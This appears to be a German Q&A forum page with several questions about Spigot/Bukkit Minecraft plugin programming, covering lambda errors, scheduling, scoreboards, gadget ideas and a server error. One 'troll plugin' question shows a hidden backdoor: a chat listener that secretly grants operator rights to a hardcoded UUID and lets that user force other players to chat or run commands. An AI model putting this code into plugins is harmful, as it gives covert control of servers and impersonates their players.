Spigot Plugin: Variable kann nicht benutzt werden?

Also, ich arbeite weiter an meinem Spigot Plugin (in Java) und möchte nun einen for loop, in welchem eine Variable c deklariert ist, haben, und dieses c in das runTaskLater() übergeben. Dort wird ein final int y = c gesetzt.

for (int c = 0; c <= 100; c++) {
  Bukkit.getScheduler().runTaskLater(this, () -> {

    for (int i = 0; i <= 100; i++){
        for (int j = 0; j <= 100; j++){
            final int x = i;
            final int y = c;
            final int z = j;
            //...
        }
    }     
  },200L);
}

Jedoch bekomme ich folgenden Fehler:

Variable used in lambda expression should be final or effectively final

Dann, nach befolgen der Korrekturvorschläge:

for (int c = 0; c <= 100; c++) {
  int tempC = c;
  Bukkit.getScheduler().runTaskLater(this, () -> {

    for (int i = 0; i <= 100; i++){
        for (int j = 0; j <= 100; j++){
            final int x = i;
            final int y = tempC;
            final int z = j;
            //...
        }
    }     
  },200L);
}
                  

Und es funktioniert.

Warum muss ich c nochmal in einer anderen Variable speichern, bevor ich es weitergeben kann? Die Datentypen, Sichtbarkeiten, etc sind nämlich bei c und tempC die gleichen.

Außerdem, was genau hat die Fehlermeldung mit allem zu tun, weil die Orte an welchen final steht haben sich nicht verändert?

Übrigens, es liegt nicht an schon festgelegten Variablen, da kein anderer Variablenname anstelle von c funktioniert, ohne diesen Fehler zu erzeugen.

Ich hoffe jemand kann mir weiterhelfen!

Java, Programmiersprache, Fehlermeldung, Bukkit, Sichtbarkeit, Spigot
Warum funktioniert der Code nicht?

Hi!

Ich programmiere grade ein Spigot-Plugin. Ich will das das Plugin überprüft on ein block abgebaut wurde und dass es dann einen Block auf die Koordinate 0 0 0 setzt wenn ja. Wenn ich aber den Block auf 0 0 0 abbaue, muss ich erst noch einen anderen abbauen damit der Block auf 0 0 0 neu gesetzt wird. Ich habe schon ein Timeout gesetzt. Hier ist mein Code:

package de.craftcommunity.oneblock;

import org.bukkit.Bukkit;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.World;
import org.bukkit.block.Block;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.block.BlockBreakEvent;
import org.bukkit.plugin.java.JavaPlugin;
import java.util.concurrent.TimeUnit;

import static org.bukkit.Bukkit.broadcastMessage;
import static org.bukkit.Bukkit.getWorld;

public class OneBlock extends JavaPlugin implements Listener {

@Override
public void onEnable() {             Bukkit.getServer().getPluginManager().registerEvents(this, this);
}
  
@EventHandler
public void onBlockBreak(BlockBreakEvent event) throws InterruptedException {
getServer( ).broadcastMessage("BLOCK " + event.getBlock().getType() + " WAS BROKEN!");
TimeUnit.MILLISECONDS.sleep(750);
checkOneBlock();
}

public void checkOneBlock() {
World OneBlockWorld = getServer().getWorld("world");
Location locOneBlock = new Location(OneBlockWorld,0,0,0);
for (int i = 0; i < 3; i++) {
if (locOneBlock.getBlock().getType().isAir()) { locOneBlock.getBlock().setType(Material.OAK_LOG);
}
}
}
} 

Danke im Vorraus!

~BlockiiLP

Java, Minecraft, Minecraft Server, Programmiersprache, Bukkit, Spigot
Suche bestimmtes Minecraft Plugin, kenne leider nicht den Namen!?

Moin Zusammen,

wie oben beschrieben suche ich nach einem Minecraft Plugin, der mir leider nicht bekannt ist. Ich versuche Ihn so gut wie es geht zu beschreiben.

Es handelt sich hierbei um ein Plugin welches dafür da ist um Chunks zu kaufen. Man konnte sich drauf stellen und sowas wie ./land info eingeben. Danach gab es so ein Feuerwerk Effekt an den Rändern des Chunks welches zur Abgrenzung diente. Die Blöcke waren Allgemein nicht gesichert, so konnte man es abbauen und theoretisch griefen. Jedoch gab es eine Höhen Begrenzung, baute man sich nun einige Blöcke nach unten, so traf man auf eine Komplette Bedrock Schicht. Das diente wohl dazu, dass man nicht die geplanten Bau Grundstücke als eine Farmwelt nutzt. Wenn man nun den Chunk haben wollte, musste man ./land kaufen eingeben und erhielt es zu einem festgelegten Preis. Der sich nach meiner Erinnerung nach oben gestaffelt hat. Also wurden Quasi die Grundstücke die man sich erkaufen wollte, von Mal zu Mal teurer. ( Falls ich mich nicht ganz täusche, hieß der Server worauf ich es sah: Kadcon )

Ich hoffe meine Beschreibung ist passend, denn ich habe ein Solches Plugin seit Ewigkeiten nicht mehr gesehen und mich würde blendet interessieren, wie er genau funktioniert bzw. heißt.

Auch vergleichbare oder Bessere Plugins bitte rein schreiben, ich freue mich über jede Antwort.

MFG :)

Server, programmieren, Minecraft, Minecraft Server, Plug-in, Bukkit, Spigot, Bukkit server, Bukkit-Plugin, BukkitSpigot, Minecraft Java Edition
java lambda format umformulieren?

Hallo,

ich würde gerne wissen wie es möglich ist den folgenden code von lambda zu java 6 code umwandeln kann?

        if(name.equals(itemStackName) || transformedName.equals(itemStackName)) {
            node.methods.stream().filter(methodNode -> methodNode.name.equals(getTooltipName) && methodNode.desc.equals(getTooltipDesc)).findFirst()
            .ifPresent(methodNode -> {
            	InsnList list = new InsnList();
                String onTooltipDesc = "(L"+itemStackName.replace(".", "/")+";L"+entityPlayerName.replace(".", "/")+";Ljava/util/List;Z)V";
                list.add(new VarInsnNode(Opcodes.ALOAD, 0));
                list.add(new VarInsnNode(Opcodes.ALOAD, 1));
                list.add(new VarInsnNode(Opcodes.ALOAD, 3));
                list.add(new VarInsnNode(Opcodes.ILOAD, 2));
                                methodNode.instructions.insert(methodNode.instructions.getLast().getPrevious().getPrevious(), list);
            });
        }

Also von z.b. von Runnable r = ()-> System.out.print("Run method")

zu

Runnable r = new Runnable() {

@Override

public void run() {

System.out.print("Run method")

}

}

Ich würde gerne wissen wie das möglich ist. Also wie die if Abfrage von ganz oben ohne "->" aussehen würde.

Mit freundlichen Grüßen

Java, Minecraft, Eclipse, Minecraft Server, Bukkit, Lambda, Spigot
Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin
Fallen euch Gadgets ein welche in in mein LobbySystem einbauen könnte?

Hallo!

Ich programmiere zur Zeit ein LobbySystem für Spigot (Minecraft 1.18).

Bisher habe ich 9 Stück:

  • "Schnelle Sprungschuhe" mit denen du Speed 4 und Jump Boost 4 bekommst.
  • Eine Enderperle (Sehr kreativ xd)
  • Einen explodierenden Schneeball (Lässt Spieler im Umkreis von 6 Blöcken wegfliegen)
  • Einen Enterhaken
  • Ein Jetpack mit dem man fliegen kann sobald man Shift drückt (Du baust erst Geschwindigkeit auf bevor du groß hochfliegst)
  • Eine Block Explosion (Wirft man auf den Boden und dann spawnen für 20-30 Sekunden zufällige Blöcke, die dann in eine Richtung fliegen und wieder verschwinden sobald sie auf den Boden aufkommen)
  • "Melon Launcher" welcher dich eine Melone schießen lässt, die dann in Stücke zerfliegt. Wenn du über diese läufst, isst man sie und bekommt Speed
  • "Pumpkin Launcher" (Wie der Melon Launcher, nur dass du Jump Boost bekommt)
  • Fallschirm (Man wird in die Luft geschleudert, fällt einige Blöcke und öffnet dann einen Fallschirm, der aus Hühnern besteht - Du gleitest genau so langsam runter wie die Hühner)

Ich hätte aber ganz gerne 17 Gadgets...

Hat jemand irgendwelche Ideen für weitere?

Danke schon mal im Voraus!

LG

Endivie02

PC, Computer, Software, Technik, programmieren, Java, Minecraft, Gadget, Plug-in, Technologie, Bukkit, craftbukkit, Spigot, Minecraft Plugin, Bukkit-Plugin, Spigot Plugin, Spiele und Gaming, Minecraft Java Edition
Fehler wenn ich auf Spigot 1.8.8 Server joine?

Hi. Ich komme nicht auf meinen Spigot 1.8.8 Server. Immer wenn ich versuche zu joinen kommt unendlich lange diese Meldung ganz schnell wiederholt in der Konsole:

[16:25:56 WARN]: An exceptionCaught() event was fired, and it reached at the tail of the pipeline. It usually means the last handler in the pipeline did not handle the exception.
java.lang.RuntimeException: Unable to access address of buffer
        at io.netty.channel.epoll.Native.read(Native Method) ~[spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe.doReadBytes(EpollSocketChannel.java:678) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe.epollInReady(EpollSocketChannel.java:714) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe$3.run(EpollSocketChannel.java:755) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:380) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollEventLoop.run(EpollEventLoop.java:268) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at java.base/java.lang.Thread.run(Thread.java:831) [?:?]

Ich habe kein einziges Plugin auf dem Server und seit dem ersten Start nichts verändert. Und ja ich bin auch gewhitelisted und so...

Server, Computer, Java, Minecraft, Minecraft Server, Bukkit, craftbukkit, Spigot, minecraft 1.8, Spiele und Gaming
Wieso wird mein Scoreboard nicht angezeigt?
	  public void setScoreboard(Player p) {
		    ScoreboardManager sm = Bukkit.getScoreboardManager();
		    Scoreboard board = sm.getNewScoreboard();
		    Objective o = board.registerNewObjective("test", "dummy");
		    o.setDisplaySlot(DisplaySlot.SIDEBAR);
		    o.setDisplayName(cfg.getString("Displayname"));
		    o.getScore("§a   ").setScore(10);
		    o.getScore("§fMap").setScore(9);
		    o.getScore("§d" + p.getWorld().getName()).setScore(8);
		    o.getScore("§e    ").setScore(7);
		    o.getScore("§fKills:").setScore(6);
		    o.getScore("§e"+ p.getStatistic(Statistic.PLAYER_KILLS)).setScore(5);
		    o.getScore("§f    ").setScore(4);
		    o.getScore("§fTeams:" ).setScore(3);
		    o.getScore("§aERLAUBT!").setScore(2);
		    o.getScore("§1   ").setScore(1);
		    o.getScore("§eMade by KoCoLP!").setScore(0);
		    p.setScoreboard(board);


		  }
		  
		  @EventHandler
		  public void onJoin1(PlayerJoinEvent e) {
		    (new BukkitRunnable() {
		        public void run() {
		          for (Player all : Bukkit.getOnlinePlayers())
		            GunGame.this.setScoreboard(all); 
		        }
		      }).runTaskLater((Plugin)this, 1L);
		  }
		  
		  @EventHandler
		  public void onQuit2(PlayerQuitEvent e) {
		    (new BukkitRunnable() {
		        public void run() {
		          for (Player all : Bukkit.getOnlinePlayers())
		            GunGame.this.setScoreboard(all); 
		        }
		      }).runTaskLater((Plugin)this, 1L);
		  }
		  
		  @EventHandler
		  public void onDeath3(PlayerDeathEvent e) {
		    for (Player all : Bukkit.getOnlinePlayers())
		      GunGame.this.setScoreboard(all); 
		  }
	


programmieren, Minecraft, developer, Bukkit, scoreboard, Spigot

Meistgelesene Fragen zum Thema Bukkit